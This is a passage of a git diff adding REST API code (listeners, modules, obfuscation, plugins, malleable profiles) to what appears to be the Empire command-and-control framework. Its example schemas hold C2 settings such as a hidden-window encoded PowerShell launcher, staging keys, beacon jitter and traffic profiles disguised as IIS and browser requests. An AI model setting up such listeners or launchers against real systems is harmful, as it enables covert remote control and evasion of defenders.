+ return domain_to_dto_listener(resp)
+
+
+@router.put("/{uid}", response_model=Listener)
+async def update_listener(
+ uid: int,
+ listener_req: ListenerUpdateRequest,
+ db: Session = Depends(get_db),
+ db_listener: models.Listener = Depends(get_listener),
+):
+ if listener_req.enabled and not db_listener.enabled:
+ # update then turn on
+ resp, err = listener_service.update_listener(db, db_listener, listener_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ resp, err = listener_service.start_existing_listener(db, resp)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_listener(resp)
+ elif listener_req.enabled and db_listener.enabled:
+ # err already running / cannot update
+ raise HTTPException(
+ status_code=400, detail="Listener must be disabled before modifying"
+ )
+ elif not listener_req.enabled and db_listener.enabled:
+ # disable and update
+ listener_service.stop_listener(db_listener)
+ resp, err = listener_service.update_listener(db, db_listener, listener_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_listener(resp)
+ elif not listener_req.enabled and not db_listener.enabled:
+ # update
+ resp, err = listener_service.update_listener(db, db_listener, listener_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_listener(resp)
+ else:
+ raise HTTPException(status_code=500, detail="This Shouldn't Happen")
+
+
+@router.delete(
+ "/{uid}",
+ status_code=HTTP_204_NO_CONTENT,
+ response_class=Response,
+)
+async def delete_listener(
+ uid: int,
+ db: Session = Depends(get_db),
+ db_listener: models.Listener = Depends(get_listener),
+):
+ listener_service.delete_listener(db, db_listener)
diff --git a/empire/server/api/v2/listener/listener_dto.py b/empire/server/api/v2/listener/listener_dto.py
new file mode 100644
index 000000000..0b0e55c83
--- /dev/null
+++ b/empire/server/api/v2/listener/listener_dto.py
@@ -0,0 +1,306 @@
+from datetime import datetime
+from typing import Dict, List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type
+
+
+def domain_to_dto_template(listener, uid: str):
+ options = dict(
+ map(
+ lambda x: (
+ x[0],
+ {
+ "description": x[1]["Description"],
+ "required": x[1]["Required"],
+ "value": x[1]["Value"],
+ "strict": x[1]["Strict"],
+ "suggested_values": x[1]["SuggestedValues"],
+ "value_type": to_value_type(x[1]["Value"]),
+ },
+ ),
+ listener.options.items(),
+ )
+ )
+
+ authors = list(
+ map(
+ lambda x: {
+ "name": x["Name"],
+ "handle": x["Handle"],
+ "link": x["Link"],
+ },
+ listener.info.get("Authors") or [],
+ )
+ )
+
+ return ListenerTemplate(
+ id=uid,
+ name=listener.info.get("Name"),
+ authors=authors,
+ description=listener.info.get("Description"),
+ category=listener.info.get("Category"),
+ comments=listener.info.get("Comments"),
+ software=listener.info.get("Software"),
+ techniques=listener.info.get("Techniques"),
+ tactics=listener.info.get("Tactics"),
+ options=options,
+ )
+
+
+def domain_to_dto_listener(listener):
+ options = dict(map(lambda x: (x[0], x[1]["Value"]), listener.options.items()))
+
+ return Listener(
+ id=listener.id,
+ name=listener.name,
+ template=listener.module,
+ enabled=listener.enabled,
+ options=options,
+ created_at=listener.created_at,
+ )
+
+
+class ListenerTemplate(BaseModel):
+ id: str
+ name: str
+ authors: List[Author]
+ description: str
+ category: str
+ comments: List[str]
+ tactics: List[str]
+ techniques: List[str]
+ software: Optional[str]
+ options: Dict[str, CustomOptionSchema]
+
+ class Config:
+ schema_extra = {
+ "example": {
+ "id": "http",
+ "name": "HTTP[S]",
+ "authors": [
+ {
+ "handle": "@harmj0y",
+ "link": "",
+ "name": "",
+ }
+ ],
+ "description": "Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach.",
+ "category": "client_server",
+ "comments": [],
+ "tactics": [],
+ "techniques": [],
+ "software": "",
+ "options": {
+ "Name": {
+ "description": "Name for the listener.",
+ "required": True,
+ "value": "http",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Host": {
+ "description": "Hostname/IP for staging.",
+ "required": True,
+ "value": "http://192.168.0.20",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "BindIP": {
+ "description": "The IP to bind to on the control server.",
+ "required": True,
+ "value": "0.0.0.0",
+ "suggested_values": ["0.0.0.0"],
+ "strict": False,
+ },
+ "Port": {
+ "description": "Port for the listener.",
+ "required": True,
+ "value": "",
+ "suggested_values": ["1335", "1336"],
+ "strict": False,
+ },
+ "Launcher": {
+ "description": "Launcher string.",
+ "required": True,
+ "value": "powershell -noP -sta -w 1 -enc ",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "StagingKey": {
+ "description": "Staging key for initial agent negotiation.",
+ "required": True,
+ "value": "}q)jFnDKw&px/7QBhE9Y<6~[Z1>{+Ps@",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "DefaultDelay": {
+ "description": "Agent delay/reach back interval (in seconds).",
+ "required": True,
+ "value": "5",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "DefaultJitter": {
+ "description": "Jitter in agent reachback interval (0.0-1.0).",
+ "required": True,
+ "value": "0.0",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "DefaultLostLimit": {
+ "description": "Number of missed checkins before exiting",
+ "required": True,
+ "value": "60",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "DefaultProfile": {
+ "description": "Default communication profile for the agent.",
+ "required": True,
+ "value": "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "CertPath": {
+ "description": "Certificate path for https listeners.",
+ "required": False,
+ "value": "",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "KillDate": {
+ "description": "Date for the listener to exit (MM/dd/yyyy).",
+ "required": False,
+ "value": "",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "WorkingHours": {
+ "description": "Hours for the agent to operate (09:00-17:00).",
+ "required": False,
+ "value": "",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Headers": {
+ "description": "Headers for the control server.",
+ "required": True,
+ "value": "Server:Microsoft-IIS/7.5",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Cookie": {
+ "description": "Custom Cookie Name",
+ "required": False,
+ "value": "xNQsvLdAysjkonT",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "StagerURI": {
+ "description": "URI for the stager. Must use /download/. Example: /download/stager.php",
+ "required": False,
+ "value": "",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "UserAgent": {
+ "description": "User-agent string to use for the staging request (default, none, or other).",
+ "required": False,
+ "value": "default",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Proxy": {
+ "description": "Proxy to use for request (default, none, or other).",
+ "required": False,
+ "value": "default",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "ProxyCreds": {
+ "description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
+ "required": False,
+ "value": "default",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "SlackURL": {
+ "description": "Your Slack Incoming Webhook URL to communicate with your Slack instance.",
+ "required": False,
+ "value": "",
+ "suggested_values": [],
+ "strict": False,
+ },
+ },
+ }
+ }
+
+
+class ListenerTemplates(BaseModel):
+ records: List[ListenerTemplate]
+
+
+class Listener(BaseModel):
+ id: int
+ name: str
+ enabled: bool
+ template: str
+ options: Dict[str, str]
+ created_at: datetime
+
+
+class Listeners(BaseModel):
+ records: List[Listener]
+
+
+class ListenerPostRequest(BaseModel):
+ name: str
+ template: str
+ options: Dict[str, str]
+
+ class Config:
+ schema_extra = {
+ "example": {
+ "name": "MyListener",
+ "template": "http",
+ "tactics": [""],
+ "techniques": [""],
+ "software": "",
+ "options": {
+ "Name": "MyListener", # TODO VR Name should not be an option
+ "Host": "http://localhost:1336",
+ "BindIP": "0.0.0.0",
+ "Port": "1336",
+ "Launcher": "powershell -noP -sta -w 1 -enc ",
+ "StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa",
+ "DefaultDelay": 5,
+ "DefaultJitter": 0.0,
+ "DefaultLostLimit": 60,
+ "DefaultProfile": "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
+ "CertPath": "",
+ "KillDate": "",
+ "WorkingHours": "",
+ "Headers": "Server:Microsoft-IIS/7.5",
+ "Cookie": "",
+ "StagerURI": "",
+ "UserAgent": "default",
+ "Proxy": "default",
+ "ProxyCreds": "default",
+ "SlackURL": "",
+ },
+ }
+ }
+
+
+class ListenerUpdateRequest(BaseModel):
+ name: str
+ enabled: bool
+ options: Dict[str, str]
+
+ def __iter__(self):
+ return iter(self.__root__)
+
+ def __getitem__(self, item):
+ return self.__root__[item]
diff --git a/empire/server/api/v2/listener/listener_template_api.py b/empire/server/api/v2/listener/listener_template_api.py
new file mode 100644
index 000000000..92ec0b8b6
--- /dev/null
+++ b/empire/server/api/v2/listener/listener_template_api.py
@@ -0,0 +1,51 @@
+from fastapi import Depends, HTTPException
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.listener.listener_dto import (
+ ListenerTemplate,
+ ListenerTemplates,
+ domain_to_dto_template,
+)
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.server import main
+
+listener_template_service = main.listenertemplatesv2
+
+router = APIRouter(
+ prefix="/api/v2/listener-templates",
+ tags=["listener-templates"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+@router.get(
+ "/",
+ response_model=ListenerTemplates,
+)
+async def get_listener_templates():
+ templates = list(
+ map(
+ lambda x: domain_to_dto_template(x[1], x[0]),
+ listener_template_service.get_listener_templates().items(),
+ )
+ )
+
+ return {"records": templates}
+
+
+@router.get(
+ "/{uid}",
+ response_model=ListenerTemplate,
+)
+async def get_listener_template(uid: str):
+ template = listener_template_service.get_listener_template(uid)
+
+ if not template:
+ raise HTTPException(status_code=404, detail="Listener template not found")
+
+ return domain_to_dto_template(template, uid)
diff --git a/empire/server/api/v2/meta/__init__.py b/empire/server/api/v2/meta/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/meta/meta_api.py b/empire/server/api/v2/meta/meta_api.py
new file mode 100644
index 000000000..d28c66e67
--- /dev/null
+++ b/empire/server/api/v2/meta/meta_api.py
@@ -0,0 +1,28 @@
+from fastapi import Depends
+
+import empire.server.common.empire
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.meta.meta_dto import EmpireVersion
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.server import main
+
+listener_service = main.listenersv2
+
+router = APIRouter(
+ prefix="/api/v2/meta",
+ tags=["meta"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+@router.get(
+ "/version",
+ response_model=EmpireVersion,
+)
+async def read_empire_version():
+ return {"version": empire.server.common.empire.VERSION.split(" ")[0]}
diff --git a/empire/server/api/v2/meta/meta_dto.py b/empire/server/api/v2/meta/meta_dto.py
new file mode 100644
index 000000000..c27415dad
--- /dev/null
+++ b/empire/server/api/v2/meta/meta_dto.py
@@ -0,0 +1,5 @@
+from pydantic import BaseModel
+
+
+class EmpireVersion(BaseModel):
+ version: str
diff --git a/empire/server/api/v2/module/__init__.py b/empire/server/api/v2/module/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/module/module_api.py b/empire/server/api/v2/module/module_api.py
new file mode 100644
index 000000000..57d076d0a
--- /dev/null
+++ b/empire/server/api/v2/module/module_api.py
@@ -0,0 +1,84 @@
+import logging
+from datetime import datetime
+
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.module.module_dto import (
+ Module,
+ ModuleBulkUpdateRequest,
+ ModuleUpdateRequest,
+ domain_to_dto_module,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.module_models import EmpireModule
+from empire.server.server import main
+
+module_service = main.modulesv2
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(
+ prefix="/api/v2/modules",
+ tags=["modules"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_module(uid: str):
+ module = module_service.get_by_id(uid)
+
+ if module:
+ return module
+
+ raise HTTPException(status_code=404, detail=f"Module not found for id {uid}")
+
+
+@router.get(
+ "/",
+ # todo is there an equivalent for this that doesn't cause fastapi to convert the object twice?
+ # Still want to display the response type in the docs
+ # response_model=Modules,
+)
+async def read_modules():
+ log.info(f"Request Received {datetime.utcnow()}")
+ modules = list(
+ map(
+ lambda x: domain_to_dto_module(x[1], x[0]), module_service.get_all().items()
+ )
+ )
+
+ log.info(f"Done Converting Objects {datetime.utcnow()}")
+
+ return {"records": modules}
+
+
+@router.get("/{uid}", response_model=Module)
+async def read_module(uid: str, module: EmpireModule = Depends(get_module)):
+ return domain_to_dto_module(module, uid)
+
+
+@router.put("/{uid}", response_model=Module)
+async def update_module(
+ uid: str,
+ module_req: ModuleUpdateRequest,
+ module: EmpireModule = Depends(get_module),
+ db: Session = Depends(get_db),
+):
+ module_service.update_module(db, module, module_req)
+
+ return domain_to_dto_module(module, uid)
+
+
+@router.put("/bulk/enable", status_code=204)
+async def update_bulk_enable(
+ module_req: ModuleBulkUpdateRequest, db: Session = Depends(get_db)
+):
+ module_service.update_modules(db, module_req)
diff --git a/empire/server/api/v2/module/module_dto.py b/empire/server/api/v2/module/module_dto.py
new file mode 100644
index 000000000..c35fb9bb4
--- /dev/null
+++ b/empire/server/api/v2/module/module_dto.py
@@ -0,0 +1,75 @@
+from typing import Dict, List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type
+from empire.server.core.module_models import EmpireModule, LanguageEnum
+
+
+def domain_to_dto_module(module: EmpireModule, uid: str):
+ options = {x.name: x for x in module.options}
+ options = dict(
+ map(
+ lambda x: (
+ x[0],
+ {
+ "description": x[1].description,
+ "required": x[1].required,
+ "value": x[1].value,
+ "strict": x[1].strict,
+ "suggested_values": x[1].suggested_values,
+ "value_type": to_value_type(x[1].value),
+ },
+ ),
+ options.items(),
+ )
+ )
+
+ return Module(
+ id=uid,
+ name=module.name,
+ enabled=module.enabled,
+ authors=module.authors,
+ description=module.description,
+ background=module.background,
+ language=module.language,
+ min_language_version=module.min_language_version,
+ needs_admin=module.needs_admin,
+ opsec_safe=module.opsec_safe,
+ techniques=module.techniques,
+ software=module.software,
+ tactics=module.tactics,
+ comments=module.comments,
+ options=options,
+ )
+
+
+class Module(BaseModel):
+ id: str
+ name: str
+ enabled: bool
+ authors: List[Author]
+ description: str
+ background: bool
+ language: LanguageEnum
+ min_language_version: Optional[str]
+ needs_admin: bool
+ opsec_safe: bool
+ techniques: List[str]
+ tactics: List[str]
+ software: Optional[str]
+ comments: List[str]
+ options: Dict[str, CustomOptionSchema]
+
+
+class Modules(BaseModel):
+ records: List[Module]
+
+
+class ModuleUpdateRequest(BaseModel):
+ enabled: bool
+
+
+class ModuleBulkUpdateRequest(BaseModel):
+ modules: List[str]
+ enabled: bool
diff --git a/empire/server/api/v2/obfuscation/__init__.py b/empire/server/api/v2/obfuscation/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/obfuscation/obfuscation_api.py b/empire/server/api/v2/obfuscation/obfuscation_api.py
new file mode 100644
index 000000000..8ed40e6b5
--- /dev/null
+++ b/empire/server/api/v2/obfuscation/obfuscation_api.py
@@ -0,0 +1,178 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+from starlette.background import BackgroundTasks
+from starlette.responses import Response
+from starlette.status import HTTP_202_ACCEPTED, HTTP_204_NO_CONTENT
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.obfuscation.obfuscation_dto import (
+ Keyword,
+ KeywordPostRequest,
+ Keywords,
+ KeywordUpdateRequest,
+ ObfuscationConfig,
+ ObfuscationConfigs,
+ ObfuscationConfigUpdateRequest,
+ domain_to_dto_obfuscation_config,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+obfuscation_service = main.obfuscationv2
+
+router = APIRouter(
+ prefix="/api/v2/obfuscation",
+ tags=["keywords"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_keyword(uid: int, db: Session = Depends(get_db)):
+ keyword = obfuscation_service.get_keyword_by_id(db, uid)
+
+ if keyword:
+ return keyword
+
+ raise HTTPException(404, f"Keyword not found for id {uid}")
+
+
+@router.get("/keywords/{uid}", response_model=Keyword)
+async def read_keyword(uid: int, db_keyword: models.Keyword = Depends(get_keyword)):
+ return db_keyword
+
+
+@router.get("/keywords", response_model=Keywords)
+async def read_keywords(db: Session = Depends(get_db)):
+ keywords = obfuscation_service.get_all_keywords(db)
+
+ return {"records": keywords}
+
+
+@router.post("/keywords", status_code=201, response_model=Keyword)
+async def create_keyword(
+ keyword_req: KeywordPostRequest, db: Session = Depends(get_db)
+):
+ resp, err = obfuscation_service.create_keyword(db, keyword_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return resp
+
+
+@router.put("/keywords/{uid}", response_model=Keyword)
+async def update_keyword(
+ uid: int,
+ keyword_req: KeywordUpdateRequest,
+ db: Session = Depends(get_db),
+ db_keyword: models.Keyword = Depends(get_keyword),
+):
+ resp, err = obfuscation_service.update_keyword(db, db_keyword, keyword_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return resp
+
+
+@router.delete(
+ "/keywords/{uid}", status_code=HTTP_204_NO_CONTENT, response_class=Response
+)
+async def delete_keyword(
+ uid: str,
+ db: Session = Depends(get_db),
+ db_keyword: models.Keyword = Depends(get_keyword),
+):
+ obfuscation_service.delete_keyword(db, db_keyword)
+
+
+async def get_obfuscation_config(language: str, db: Session = Depends(get_db)):
+ obf_config = obfuscation_service.get_obfuscation_config(db, language)
+
+ if obf_config:
+ return obf_config
+
+ raise HTTPException(
+ 404,
+ f"Obfuscation config not found for language {language}. Only powershell is supported.",
+ )
+
+
+@router.get("/global", response_model=ObfuscationConfigs)
+async def read_obfuscation_configs(db: Session = Depends(get_db)):
+ obf_configs = obfuscation_service.get_all_obfuscation_configs(db)
+
+ return {"records": obf_configs}
+
+
+@router.get("/global/{language}", response_model=ObfuscationConfig)
+async def read_obfuscation_config(
+ language: str,
+ db_obf_config: models.ObfuscationConfig = Depends(get_obfuscation_config),
+):
+ return domain_to_dto_obfuscation_config(db_obf_config)
+
+
+@router.put("/global/{language}", response_model=ObfuscationConfig)
+async def update_obfuscation_config(
+ language: str,
+ obf_req: ObfuscationConfigUpdateRequest,
+ db: Session = Depends(get_db),
+ db_obf_config: models.Bypass = Depends(get_obfuscation_config),
+):
+ resp, err = obfuscation_service.update_obfuscation_config(
+ db, db_obf_config, obf_req
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_obfuscation_config(resp)
+
+
+@router.post(
+ "/global/{language}/preobfuscate",
+ status_code=HTTP_202_ACCEPTED,
+ response_class=Response,
+)
+async def preobfuscate_modules(
+ language: str,
+ background_tasks: BackgroundTasks,
+ reobfuscate: bool = False,
+ db_obf_config: models.ObfuscationConfig = Depends(get_obfuscation_config),
+ db: Session = Depends(get_db),
+):
+ if not db_obf_config.preobfuscatable:
+ raise HTTPException(
+ status_code=400,
+ detail=f"Obfuscation language {language} is not preobfuscatable.",
+ )
+
+ background_tasks.add_task(
+ obfuscation_service.preobfuscate_modules, db, db_obf_config, reobfuscate
+ )
+
+
+@router.delete(
+ "/global/{language}/preobfuscate",
+ status_code=HTTP_204_NO_CONTENT,
+ response_class=Response,
+)
+async def remove_preobfuscated_modules(
+ language: str,
+ db_obf_config: models.ObfuscationConfig = Depends(get_obfuscation_config),
+):
+ if not db_obf_config.preobfuscatable:
+ raise HTTPException(
+ status_code=400,
+ detail=f"Obfuscation language {language} is not preobfuscatable.",
+ )
+
+ obfuscation_service.remove_preobfuscated_modules(language)
diff --git a/empire/server/api/v2/obfuscation/obfuscation_dto.py b/empire/server/api/v2/obfuscation/obfuscation_dto.py
new file mode 100644
index 000000000..78549cc51
--- /dev/null
+++ b/empire/server/api/v2/obfuscation/obfuscation_dto.py
@@ -0,0 +1,62 @@
+from datetime import datetime
+from typing import List
+
+from pydantic import BaseModel, Field
+
+from empire.server.core.db import models
+
+
+class Keyword(BaseModel):
+ id: int
+ keyword: str
+ replacement: str
+ created_at: datetime
+ updated_at: datetime
+
+ class Config:
+ orm_mode = True
+
+
+class Keywords(BaseModel):
+ records: List[Keyword]
+
+
+class KeywordUpdateRequest(BaseModel):
+ keyword: str = Field(min_length=3)
+ replacement: str = Field(min_length=3)
+
+
+class KeywordPostRequest(BaseModel):
+ keyword: str = Field(min_length=3)
+ replacement: str = Field(min_length=3)
+
+
+def domain_to_dto_obfuscation_config(obf_conf: models.ObfuscationConfig):
+ return ObfuscationConfig(
+ language=obf_conf.language,
+ enabled=obf_conf.enabled,
+ command=obf_conf.command,
+ module=obf_conf.module,
+ preobfuscatable=obf_conf.preobfuscatable,
+ )
+
+
+class ObfuscationConfig(BaseModel):
+ language: str
+ enabled: bool
+ command: str
+ module: str
+ preobfuscatable: bool
+
+ class Config:
+ orm_mode = True
+
+
+class ObfuscationConfigs(BaseModel):
+ records: List[ObfuscationConfig]
+
+
+class ObfuscationConfigUpdateRequest(BaseModel):
+ enabled: bool
+ command: str
+ module: str
diff --git a/empire/server/api/v2/plugin/__init__.py b/empire/server/api/v2/plugin/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/plugin/plugin_api.py b/empire/server/api/v2/plugin/plugin_api.py
new file mode 100644
index 000000000..918bfe0f0
--- /dev/null
+++ b/empire/server/api/v2/plugin/plugin_api.py
@@ -0,0 +1,68 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.plugin.plugin_dto import (
+ PluginExecutePostRequest,
+ PluginExecuteResponse,
+ Plugins,
+ domain_to_dto_plugin,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.server import main
+
+plugin_service = main.pluginsv2
+
+router = APIRouter(
+ prefix="/api/v2/plugins",
+ tags=["plugins"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_plugin(uid: str):
+ plugin = plugin_service.get_by_id(uid)
+
+ if plugin:
+ return plugin
+
+ raise HTTPException(status_code=404, detail=f"Plugin not found for id {uid}")
+
+
+@router.get("/", response_model=Plugins)
+async def read_plugins():
+ plugins = list(
+ map(
+ lambda x: domain_to_dto_plugin(x[1], x[0]), plugin_service.get_all().items()
+ )
+ )
+
+ return {"records": plugins}
+
+
+@router.get("/{uid}")
+async def read_plugin(uid: str, plugin=Depends(get_plugin)):
+ return domain_to_dto_plugin(plugin, uid)
+
+
+@router.post("/{uid}/execute", response_model=PluginExecuteResponse)
+async def execute_plugin(
+ uid: str,
+ plugin_req: PluginExecutePostRequest,
+ plugin=Depends(get_plugin),
+ db: Session = Depends(get_db),
+):
+ results, err = plugin_service.execute_plugin(db, plugin, plugin_req)
+
+ # A plugin can return False for some internal error, or it can raise an actual exception.
+ if results is False:
+ raise HTTPException(500, "internal plugin error")
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+ return {} if results is None else {"detail": results}
diff --git a/empire/server/api/v2/plugin/plugin_dto.py b/empire/server/api/v2/plugin/plugin_dto.py
new file mode 100644
index 000000000..121d6a107
--- /dev/null
+++ b/empire/server/api/v2/plugin/plugin_dto.py
@@ -0,0 +1,71 @@
+from typing import Dict, List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type
+from empire.server.common.plugins import Plugin
+
+
+def domain_to_dto_plugin(plugin: Plugin, uid: str):
+ options = dict(
+ map(
+ lambda x: (
+ x[0],
+ {
+ "description": x[1]["Description"],
+ "required": x[1]["Required"],
+ "value": x[1]["Value"],
+ "strict": x[1]["Strict"],
+ "suggested_values": x[1]["SuggestedValues"],
+ "value_type": to_value_type(x[1]["Value"]),
+ },
+ ),
+ plugin.options.items(),
+ )
+ )
+
+ authors = list(
+ map(
+ lambda x: {
+ "name": x["Name"],
+ "handle": x["Handle"],
+ "link": x["Link"],
+ },
+ plugin.info.get("Authors") or [],
+ )
+ )
+
+ return Plugin(
+ id=uid,
+ name=plugin.info.get("Name"),
+ authors=authors,
+ description=plugin.info.get("Description"),
+ category=plugin.info.get("Category"),
+ comments=plugin.info.get("Comments"),
+ techniques=plugin.info.get("Techniques"),
+ software=plugin.info.get("Software"),
+ options=options,
+ )
+
+
+class Plugin(BaseModel):
+ id: str
+ name: str
+ authors: List[Author]
+ description: str
+ techniques: List[str] = []
+ software: Optional[str]
+ comments: List[str]
+ options: Dict[str, CustomOptionSchema]
+
+
+class Plugins(BaseModel):
+ records: List[Plugin]
+
+
+class PluginExecutePostRequest(BaseModel):
+ options: Dict[str, str]
+
+
+class PluginExecuteResponse(BaseModel):
+ detail: str = ""
diff --git a/empire/server/api/v2/profile/__init__.py b/empire/server/api/v2/profile/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/profile/profile_api.py b/empire/server/api/v2/profile/profile_api.py
new file mode 100644
index 000000000..9b0ac3334
--- /dev/null
+++ b/empire/server/api/v2/profile/profile_api.py
@@ -0,0 +1,94 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+from starlette.responses import Response
+from starlette.status import HTTP_204_NO_CONTENT
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.profile.profile_dto import (
+ Profile,
+ ProfilePostRequest,
+ Profiles,
+ ProfileUpdateRequest,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+profile_service = main.profilesv2
+
+router = APIRouter(
+ prefix="/api/v2/malleable-profiles",
+ tags=["malleable-profiles"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_profile(uid: int, db: Session = Depends(get_db)):
+ profile = profile_service.get_by_id(db, uid)
+
+ if profile:
+ return profile
+
+ raise HTTPException(status_code=404, detail=f"Profile not found for id {uid}")
+
+
+@router.get("/{uid}", response_model=Profile)
+async def read_profile(uid: int, db_profile: models.Profile = Depends(get_profile)):
+ return db_profile
+
+
+@router.get("/", response_model=Profiles)
+async def read_profiles(db: Session = Depends(get_db)):
+ profiles = profile_service.get_all(db)
+
+ return {"records": profiles}
+
+
+@router.post(
+ "/",
+ status_code=201,
+ response_model=Profile,
+)
+async def create_profile(
+ profile_req: ProfilePostRequest, db: Session = Depends(get_db)
+):
+ resp, err = profile_service.create_profile(db, profile_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return resp
+
+
+@router.put("/{uid}", response_model=Profile)
+async def update_profile(
+ uid: int,
+ profile_req: ProfileUpdateRequest,
+ db: Session = Depends(get_db),
+ db_profile: models.Profile = Depends(get_profile),
+):
+ resp, err = profile_service.update_profile(db, db_profile, profile_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return resp
+
+
+@router.delete(
+ "/{uid}",
+ status_code=HTTP_204_NO_CONTENT,
+ response_class=Response,
+)
+async def delete_profile(
+ uid: str,
+ db: Session = Depends(get_db),
+ db_profile: models.Profile = Depends(get_profile),
+):
+ profile_service.delete_profile(db, db_profile)
diff --git a/empire/server/api/v2/profile/profile_dto.py b/empire/server/api/v2/profile/profile_dto.py
new file mode 100644
index 000000000..359a9f52f
--- /dev/null
+++ b/empire/server/api/v2/profile/profile_dto.py
@@ -0,0 +1,33 @@
+from datetime import datetime
+from typing import List, Optional
+
+from pydantic import BaseModel
+
+
+class Profile(BaseModel):
+ id: int
+ name: str
+ file_path: Optional[str] # todo vr needed?
+ category: str
+ data: str
+ created_at: datetime
+ updated_at: datetime
+
+ class Config:
+ orm_mode = True
+
+
+class Profiles(BaseModel):
+ records: List[Profile]
+
+
+# name can't be modified atm because of the way name is inferred from the file name.
+# could be fixed later on.
+class ProfileUpdateRequest(BaseModel):
+ data: str
+
+
+class ProfilePostRequest(BaseModel):
+ name: str
+ category: str
+ data: str
diff --git a/empire/server/api/v2/shared_dependencies.py b/empire/server/api/v2/shared_dependencies.py
new file mode 100644
index 000000000..8dcb4d3c4
--- /dev/null
+++ b/empire/server/api/v2/shared_dependencies.py
